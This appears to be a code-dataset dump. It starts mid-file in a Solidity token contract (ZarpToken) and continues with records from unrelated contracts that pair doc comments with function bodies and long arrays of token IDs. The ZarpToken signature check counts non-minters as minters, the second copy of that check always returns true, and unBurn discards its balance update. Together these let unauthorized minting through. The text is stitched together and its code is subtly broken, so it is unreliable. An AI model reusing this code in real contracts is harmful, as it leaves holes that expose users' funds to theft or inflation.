(_whitelistSettings==2 && whitelist[_to]) ||
(_whitelistSettings==3 && whitelist[msg.sender] && whitelist[_to])
);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) override public view returns (uint256) {
return balances[_owner];
}
// TODO: 2 vs. 8?
function decimals() public pure returns (uint8) {
return 2;
}
// TODO: How is this typically used?
function rounding() public pure returns (uint8) {
return 2;
}
function name() public pure returns (string memory) {
return "ZarpToken";
}
function symbol() public pure returns (string memory) {
return "ZARP";
}
/** Non-ERC20 functions **/
/**
* @dev checks for dups in the signer array - to prevent a miscount of sigs if sigs are entered more than once
* @param signers an address array containing one or many ddresses
* @param signer - the address to check for
* @param ln - the current position in the array - ie. no need to check this item or beyond that
*/
function _exists(address[] memory signers, address signer, uint256 ln) private pure returns(bool){
for(uint256 i=0;i<ln;i++){
if(signers[i]==signer) return true;
}
return false;
}
/**
* @dev fetches a list of signers for a given list of signatures of a message
* @param sigs - a byte array containing one of many signatures
* @param message - the message being signed
*/
function _getSigners(bytes calldata sigs, bytes32 message) private pure returns(address[] memory){
require(sigs.length % 65 == 0);
uint256 _numSigs = sigs.numSigs();
address[] memory signers = new address[](_numSigs);
for(uint256 i=0;i<_numSigs;i++){
uint256 idx = i*65;
bytes calldata sigData = sigs[idx:idx+65];
(uint8 v, bytes32 r, bytes32 s) = sigData.splitSig();
address signer = ecrecover(message, v, r, s);
//check that this is a new signer
if(i==0){
signers[i] = signer;
}
else{
if(!_exists(signers,signer,i)) signers[i] = signer;
}
}
return signers;
}
/**
* @dev validates sigs to and checks whether signers can whitelist or minters
* @param sigs an byte array containing one or many signatures
* @param message keccak256 of minting or whitelisting parameters, signed by the signers
* @param checkMint check whether signers can minting
* @param checkWhitelist check whether signers can whitelist
*/
function _validate(bytes calldata sigs, bytes32 message, bool checkMint, bool checkWhitelist) private view returns (bool){
require(checkMint || checkWhitelist);
//if(msg.sender==owner) return true;
uint256 minters = 0;
uint256 whitelisters = 0;
if(_canMint[msg.sender]) minters++;
if(_canWhitelist[msg.sender]) whitelisters++;
address[] memory signers = _getSigners(sigs,message);
for(uint256 i=0;i<signers.length;i++){
if(signers[i]!=0x0000000000000000000000000000000000000000){
if(!_canMint[signers[i]]) minters++;
if(_canWhitelist[signers[i]]) whitelisters++;
}
}
if(checkMint && minters<mintNumSigsRequired) return false; //???
if(checkWhitelist && whitelisters<whitelistNumSigsRequired) return false; //???
return true;
}
/** Whitelisting functions **/
/**
* @dev whitelists a user
* @param account to be whitelisted
* @param sigs optional list of one or more signatures is whitelistNumSigsRequired>0
*/
function whitelistUser(address account, bytes calldata sigs) public {
require(_validate(sigs,keccak256(abi.encodePacked(account)),false,true));
whitelist[account] = true;
}
/**
* @dev remover a user from the whitelist
* @param account to be unwhitelisted
* @param sigs optional list of one or more signatures is whitelistNumSigsRequired>0
*/
function unWhitelistUser(address account, bytes calldata sigs) public {
require(_validate(sigs,keccak256(abi.encodePacked(account)),false,true));
whitelist[account] = false;
}
/**
* @dev checks whether a user is whitelisted
* @param account to be hecked
*/
function isWhitelisted(address account) public view returns (bool){
return whitelist[account];
}
/** Minting functions **/
/**
* @dev mints more Zarp
* @param account that the newly minted Zarp is sent to
* @param amount of Zarp to be minted
* @param sigs - optional list of signatures if mintNumSigsRequired>0
*/
function mint(address account,uint256 amount, bytes calldata sigs) public {
bytes32 m = keccak256(abi.encodePacked(account,amount));
require(account != address(0) && amount > 0);
require(_validate(sigs,m,true,false));
_totalSupply = _totalSupply.add(amount);
balances[account] = balances[account].add(amount);
emit Minted(amount,msg.sender, account);
emit Transfer(address(0), account, amount);
//if can whitelist then whitelist ????
if(!_validate(sigs,m,false,true)) return;
whitelist[account] = true;
}
/** Burn **/
/**
* @dev allows a user to burn their zarp - in the event of withdrawing for ZAR
* @param amount of Zarp to burn
*/
function burn(uint256 amount) public{
if(!_anyoneCanBurn){
require(_canBurn[msg.sender]);
}
require(balances[msg.sender]>=amount);
balances[msg.sender] = balances[msg.sender].sub(amount);
burnBalances[msg.sender] = burnBalances[msg.sender].add(amount);
//_totalSupply = _totalSupply.sub(amount);
emit Burned(amount,msg.sender);
}
/**
* @dev allows a minter to empty out the burnBalance once burning has been finalized
* @param amount of Zarp to empty from burnBalance
* @param account - address of account where the burn balance is held
* @param sigs - optional list of signatures if mintNumSigsRequired>0
*/
function burnFinal(uint256 amount,address account, bytes calldata sigs) public {
bytes32 m = keccak256(abi.encodePacked(amount,account));
require(burnBalances[account]>=amount);
require(_validate(sigs,m,true,false));
burnBalances[account] = burnBalances[account].sub(amount);
_totalSupply = _totalSupply.sub(amount);
}
/**
* @dev allows a minter to 'unburn' an amount back to a user
* @param amount of Zarp to empty from burnBalance
* @param account - address to send the amount to
* @param sigs - optional list of signatures if mintNumSigsRequired>0
*/
function unBurn(uint256 amount, address account, bytes calldata sigs) public {
bytes32 m = keccak256(abi.encodePacked(amount,account));
require(burnBalances[account]>=amount);
require(_validate(sigs,m,true,false));
burnBalances[account] = burnBalances[account].sub(amount);
balances[account].add(amount);
}
/*** Admin functions ****/
/**
* @dev changes the owner of the contract
* @param newOwner the address of the new owner
*/
function changeOwner(address newOwner) public isOwner{
owner = newOwner;
}
/**
* @dev adds a minter to the canMint list
* @param minter - address of new minter
*/
function addToCanMint(address minter) public isOwner{
require(minter != address(0) && !_canMint[minter]);
_canMint[minter] = true;
_canMintNum ++;
}
/**
* @dev removes a minter to the canMint list
* @param minter - address of the minter to remove
*/
function removeFromCanMint(address minter) public isOwner{
require(_canMintNum>0 && _canMint[minter]);
if(!_allowSigLock){
require(mintNumSigsRequired<_canMintNum);
}
_canMint[minter] = false;
_canMintNum--;
}
/**
* @dev adds a whitelister
* @param whitelister - address of whitelister to add
*/
function addToCanWhiteList(address whitelister) public isOwner{
require(whitelister != address(0) && !_canWhitelist[whitelister]);
_canWhitelist[whitelister] = true;
_canWhitelistNum ++;
}
/**
* @dev removes a whitelister
* @param whitelister - address of whitelister to remove
*/
function removeFromCanWhiteList(address whitelister) public isOwner{
require(_canWhitelistNum>0 && _canWhitelist[whitelister]);
if(!_allowSigLock){
require(whitelistNumSigsRequired<_canWhitelistNum);
}
_canWhitelist[whitelister] = false;
_canWhitelistNum --;
}
/**
* @dev change a whitelist settings
* @param settings to change
*/
function updateWhitelistSettings(uint8 settings) public isOwner{
require(settings<=3);
/*
0 - can transfer from and to an unwhitelisted account
1 - can transfer to an unwhitelisted account but not from
2 - can transfer from an unwhitelisted account but not to
3 - can only transfer to or from a whiltelisted account
*/
_whitelistSettings = settings;
}
/**
* @dev adds a burner
* @param burner - address of burner to add
*/
function addToCanBurn(address burner) public isOwner{
require(burner != address(0) && !_canBurn[burner]);
_canBurn[burner] = true;
_canBurnNum ++;
}
/**
* @dev removes a burner
* @param burner - address of burner to remove
*/
function removeFromCanBurn(address burner) public isOwner{
require(_canBurnNum>0 && _canBurn[burner]);
_canBurn[burner] = false;
_canBurnNum --;
}
/**
* @dev change a burn settings
* @param anyoneCanBurn - sets whether anyone can burn, or only burners
*/
function updateBurnSettings(bool anyoneCanBurn) public isOwner{
_anyoneCanBurn = anyoneCanBurn;
}
/**
* @dev changes the number of signatures required to whitelist
* @param numSigs - number of sigs required
*/
function updateNumWhitelistSigsRequired(uint8 numSigs) public isOwner{
if(!_allowSigLock){
require(numSigs<=_canWhitelistNum);
}
whitelistNumSigsRequired = numSigs;
}
/**
* @dev changes the number of signatures required to mint
* @param numSigs - number of sigs required
*/
function updateNumMintSigsRequired(uint8 numSigs) public isOwner{
if(!_allowSigLock){
require(numSigs<=_canMintNum);
}
mintNumSigsRequired = numSigs;
}
/**
* @dev allows or disallows number os sigs required to be > number of signatories
* @param allow - or disallow
*/
function allowSigLock(bool allow) public isOwner{
_allowSigLock = allow;
}
}
| * @dev validates sigs to and checks whether signers can whitelist or minters @param sigs an byte array containing one or many signatures @param message keccak256 of minting or whitelisting parameters, signed by the signers @param checkMint check whether signers can minting @param checkWhitelist check whether signers can whitelist/if(msg.sender==owner) return true; | function _validate(bytes calldata sigs, bytes32 message, bool checkMint, bool checkWhitelist) private view returns (bool){
require(checkMint || checkWhitelist);
uint256 minters = 0;
uint256 whitelisters = 0;
if(_canMint[msg.sender]) minters++;
if(_canWhitelist[msg.sender]) whitelisters++;
address[] memory signers = _getSigners(sigs,message);
for(uint256 i=0;i<signers.length;i++){
if(signers[i]!=0x0000000000000000000000000000000000000000){
if(!_canMint[signers[i]]) minters++;
if(_canWhitelist[signers[i]]) whitelisters++;
}
}
return true;
}
| 964,269 | [
1,
877,
815,
3553,
87,
358,
471,
4271,
2856,
1573,
414,
848,
10734,
578,
1131,
5432,
225,
3553,
87,
392,
1160,
526,
4191,
1245,
578,
4906,
14862,
225,
883,
417,
24410,
581,
5034,
434,
312,
474,
310,
578,
10734,
310,
1472,
16,
6726,
635,
326,
1573,
414,
225,
866,
49,
474,
866,
2856,
1573,
414,
848,
312,
474,
310,
225,
866,
18927,
866,
2856,
1573,
414,
848,
10734,
19,
430,
12,
3576,
18,
15330,
631,
8443,
13,
327,
638,
31,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
389,
5662,
12,
3890,
745,
892,
3553,
87,
16,
1731,
1578,
883,
16,
1426,
866,
49,
474,
16,
1426,
866,
18927,
13,
3238,
1476,
1135,
261,
6430,
15329,
203,
3639,
2583,
12,
1893,
49,
474,
747,
866,
18927,
1769,
203,
3639,
2254,
5034,
1131,
5432,
273,
374,
31,
203,
3639,
2254,
5034,
10734,
414,
273,
374,
31,
203,
3639,
309,
24899,
4169,
49,
474,
63,
3576,
18,
15330,
5717,
1131,
5432,
9904,
31,
203,
3639,
309,
24899,
4169,
18927,
63,
3576,
18,
15330,
5717,
10734,
414,
9904,
31,
203,
540,
203,
3639,
1758,
8526,
3778,
1573,
414,
273,
389,
588,
2766,
414,
12,
7340,
87,
16,
2150,
1769,
203,
3639,
364,
12,
11890,
5034,
277,
33,
20,
31,
77,
32,
2977,
414,
18,
2469,
31,
77,
27245,
95,
203,
5411,
309,
12,
2977,
414,
63,
77,
65,
5,
33,
20,
92,
12648,
12648,
12648,
12648,
12648,
15329,
203,
7734,
309,
12,
5,
67,
4169,
49,
474,
63,
2977,
414,
63,
77,
65,
5717,
1131,
5432,
9904,
31,
203,
7734,
309,
24899,
4169,
18927,
63,
2977,
414,
63,
77,
65,
5717,
10734,
414,
9904,
31,
203,
5411,
289,
203,
3639,
289,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0x04af2fBbfFd5f177F443caA69E3A5E240A8e44D3/sources/MoonPool.sol | * Constrctor function Initializes contract with initial supply tokens to the creator of the contract/ | constructor() public {
name = "MoonPool";
symbol = "MOPO";
decimals = 18;
_totalSupply = 36000000000000000000000000;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
| 2,806,245 | [
1,
442,
701,
30206,
445,
10188,
3128,
6835,
598,
2172,
14467,
2430,
358,
326,
11784,
434,
326,
6835,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
3885,
1435,
1071,
288,
203,
3639,
508,
273,
315,
16727,
265,
2864,
14432,
203,
3639,
3273,
273,
315,
5980,
2419,
14432,
203,
3639,
15105,
273,
6549,
31,
203,
3639,
389,
4963,
3088,
1283,
273,
6580,
12648,
12648,
12648,
31,
203,
203,
3639,
324,
26488,
63,
3576,
18,
15330,
65,
273,
389,
4963,
3088,
1283,
31,
203,
3639,
3626,
12279,
12,
2867,
12,
20,
3631,
1234,
18,
15330,
16,
389,
4963,
3088,
1283,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.21;
import './DOT.sol';
import './StringUtils.sol';
contract ExampleMarketTokenInterface {
// Address from MarketCore
// function getDOTTokenAddress(uint _marketId) public returns(address);
}
contract DOTFactory {
ExampleMarketTokenInterface marketTokenContract;
mapping(address => address[]) public created;
mapping(address => bool) public isDOT;
function createDOT(string _name, string _symbol, uint _cap) public returns(address) {
DOT newToken = (new DOT(_name, _symbol, _cap));
created[msg.sender].push(address(newToken));
isDOT[address(newToken)] = true;
return address(newToken);
}
function getMarketStrId(uint _marketId) public returns(bytes32) {
return StringUtils.uintToBytes(_marketId);
}
/**
* @dev Set the address of the sibling contract that tracks trust score.
*/
function setMarketTokenContractAddress(address _address) external {
marketTokenContract = ExampleMarketTokenInterface(_address);
}
/**
* @dev Get the address of the sibling contract that tracks trust score.
*/
function getMarketGovernanceContractAddress() external view returns(address) {
return address(marketTokenContract);
}
}
| * @dev Get the address of the sibling contract that tracks trust score./ | function getMarketGovernanceContractAddress() external view returns(address) {
return address(marketTokenContract);
}
| 1,767,822 | [
1,
967,
326,
1758,
434,
326,
10841,
6835,
716,
13933,
10267,
4462,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
23232,
278,
43,
1643,
82,
1359,
8924,
1887,
1435,
3903,
1476,
1135,
12,
2867,
13,
288,
203,
565,
327,
1758,
12,
27151,
1345,
8924,
1769,
203,
225,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/8453/0xceceF475167f7BFD8995c0cbB577644b623cD7Cf/sources/@aave/core-v3/contracts/misc/L2Encoder.sol | * @notice Encodes supply parameters from standard input to compact representation of 1 bytes32 @dev Without an onBehalfOf parameter as the compact calls to L2Pool will use msg.sender as onBehalfOf @param asset The address of the underlying asset to supply @param amount The amount to be supplied @param referralCode referralCode Code used to register the integrator originating the operation, for potential rewards. 0 if the action is executed directly by the user, without any middle-man @return compact representation of supply parameters/ | function encodeSupplyParams(
address asset,
uint256 amount,
uint16 referralCode
) external view returns (bytes32) {
DataTypes.ReserveData memory data = POOL.getReserveData(asset);
uint16 assetId = data.id;
uint128 shortenedAmount = amount.toUint128();
bytes32 res;
assembly {
res := add(assetId, add(shl(16, shortenedAmount), shl(144, referralCode)))
}
return res;
}
| 11,562,145 | [
1,
19771,
14467,
1472,
628,
4529,
810,
358,
6739,
4335,
434,
404,
1731,
1578,
225,
27287,
392,
603,
1919,
20222,
951,
1569,
487,
326,
6739,
4097,
358,
511,
22,
2864,
903,
999,
1234,
18,
15330,
487,
603,
1919,
20222,
951,
225,
3310,
1021,
1758,
434,
326,
6808,
3310,
358,
14467,
225,
3844,
1021,
3844,
358,
506,
4580,
225,
1278,
370,
23093,
1278,
370,
23093,
3356,
1399,
358,
1744,
326,
11301,
639,
4026,
1776,
326,
1674,
16,
364,
8555,
283,
6397,
18,
282,
374,
309,
326,
1301,
353,
7120,
5122,
635,
326,
729,
16,
2887,
1281,
7689,
17,
4728,
327,
6739,
4335,
434,
14467,
1472,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
2017,
3088,
1283,
1370,
12,
203,
565,
1758,
3310,
16,
203,
565,
2254,
5034,
3844,
16,
203,
565,
2254,
2313,
1278,
370,
23093,
203,
225,
262,
3903,
1476,
1135,
261,
3890,
1578,
13,
288,
203,
565,
1910,
2016,
18,
607,
6527,
751,
3778,
501,
273,
13803,
1741,
18,
588,
607,
6527,
751,
12,
9406,
1769,
203,
203,
565,
2254,
2313,
3310,
548,
273,
501,
18,
350,
31,
203,
565,
2254,
10392,
19651,
329,
6275,
273,
3844,
18,
869,
5487,
10392,
5621,
203,
565,
1731,
1578,
400,
31,
203,
203,
565,
19931,
288,
203,
1377,
400,
519,
527,
12,
9406,
548,
16,
527,
12,
674,
80,
12,
2313,
16,
19651,
329,
6275,
3631,
699,
80,
12,
25339,
16,
1278,
370,
23093,
20349,
203,
565,
289,
203,
565,
327,
400,
31,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/4/0x58B034c370dCfB7DD6170EEF176C5F6F563c494a/sources/contracts/Assignment3/Lottery.sol | Winner through which they can claim their reward | function claimWinnerReward() external nonReentrant {
require(lottery_state == LOTTERY_STATE.CLAIM_REWARDS, "Lottery: You aren't at that stage yet!");
require(msg.sender == winner, "Lottery: Only Winner can claim his reward");
require(address(this).balance >= totalExpectedBalance);
winner.transfer(winnerReward);
winner = payable(address(0));
emit Transfer(msg.sender, winnerReward);
lottery_state = LOTTERY_STATE.WINNER_CLAIMED;
}
| 12,428,081 | [
1,
59,
7872,
3059,
1492,
2898,
848,
7516,
3675,
19890,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
7516,
59,
7872,
17631,
1060,
1435,
3903,
1661,
426,
8230,
970,
288,
203,
3639,
2583,
12,
23372,
387,
93,
67,
2019,
422,
1806,
1470,
8404,
67,
7998,
18,
15961,
3445,
67,
862,
16777,
3948,
16,
315,
48,
352,
387,
93,
30,
4554,
11526,
1404,
622,
716,
6009,
4671,
4442,
1769,
203,
3639,
2583,
12,
3576,
18,
15330,
422,
5657,
1224,
16,
315,
48,
352,
387,
93,
30,
5098,
678,
7872,
848,
7516,
18423,
19890,
8863,
203,
3639,
2583,
12,
2867,
12,
2211,
2934,
12296,
1545,
2078,
6861,
13937,
1769,
203,
3639,
5657,
1224,
18,
13866,
12,
91,
7872,
17631,
1060,
1769,
203,
3639,
5657,
1224,
273,
8843,
429,
12,
2867,
12,
20,
10019,
203,
3639,
3626,
12279,
12,
3576,
18,
15330,
16,
5657,
1224,
17631,
1060,
1769,
203,
3639,
17417,
387,
93,
67,
2019,
273,
1806,
1470,
8404,
67,
7998,
18,
24572,
12196,
67,
15961,
3114,
40,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
